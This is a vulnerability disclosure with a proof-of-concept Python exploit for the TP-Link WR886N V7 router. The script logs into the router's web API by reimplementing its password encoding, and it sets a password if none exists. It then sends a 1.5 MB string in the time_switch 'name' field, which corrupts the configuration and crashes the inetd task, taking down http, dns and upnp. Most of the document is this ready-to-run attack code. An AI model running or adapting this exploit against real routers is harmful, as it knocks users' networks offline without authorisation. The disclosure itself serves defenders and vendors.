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TP-Link WR886N V7 Inetd Task Dos

Vender:TP-Link

Firmware version: 1.1.0

Hardware version: TL-WR886N 7.0

Exploit Author: lbp@galaxylab.org

Vendor Homepage: http://www.tp-link.com.cn/

Hardware Link:http://www.tp-link.com.cn/product_397.html

Vul detail

In the router module time_switch, user can setup wifi switch scheduled task with http post request. An normal request looks like below.

After setup time_switch parameters, time_switch module will save data to config file.

If we send request with long value in specific json key, it will overflow and break the time_switch module config file.

If the string long enough it will also crash the inetd task, this will stop most network services, such as http, dns and upnp.

POC

import requests


def security_encode(a):
    c = "RDpbLfCPsJZ7fiv"
    b = "yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW"
    d = ''
    e = f = g = h = k = 187
    m = 187
    f = len(a)
    g = len(c)
    h = len(b)
    if f > g:
        e = f
    else:
        e = g

    for i in range(e):
        m = k = 187
        if i >= f:
            m = ord(c[i])
        elif i >= g:
            k = ord(a[i])
        else:
            k = ord(a[i])
            m = ord(c[i])
        d += b[(k ^ m) % h]
    return d


def get_token(password):
    print(security_encode(password))
    login_url = 'http://192.168.1.1/'
    login_data = {"method": "do",
                  "login": {
                      "password": security_encode(password)
                  }
                  }
    rsp = requests.post(login_url, json=login_data)
    rsp_json = rsp.json()
    if rsp_json['error_code'] == 0:
        return rsp_json['stok']
    # set password
    elif rsp_json['error_code'] == -40401:
        set_password = {
            "method": "do",
            "set_password": {
                "password": security_encode(password)
            }
        }
    rsp = requests.post(login_url, json=set_password)
    rsp_json = rsp.json()
    if rsp_json['error_code'] == 0:
        # get token again
        return get_token(password)


password = 'zaq12wsx'
burp0_url = "http://192.168.1.1/stok=%s/ds" % get_token(password)


burp0_headers = {"Accept": "application/json, text/javascript, */*; q=0.01", "Origin": "http://192.168.1.1", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "Content-Type": "application/json; charset=UTF-8", "Referer": "http://192.168.1.1/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6,ko;q=0.5", "Connection": "close"}
burp0_json = {
  "time_switch": {
    "name": "AAA",
    "table": "time_switch",
    "para": {
      "mon": "1",
      "tue": "1",
      "wed": "1",
      "thu": "1",
      "fri": "1",
      "sat": "1",
      "sun": "1",
      "name": "312",
      "enable": 1,
      "start_time": "01%3A00",
      "end_time": "02%3A00"
    }
  },
  "method": "add"
}

burp0_json['time_switch']['name'] = '%s' % ('A' * int(1.5 * 1024 * 1024))

rsp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, timeout=3)
print(rsp.content)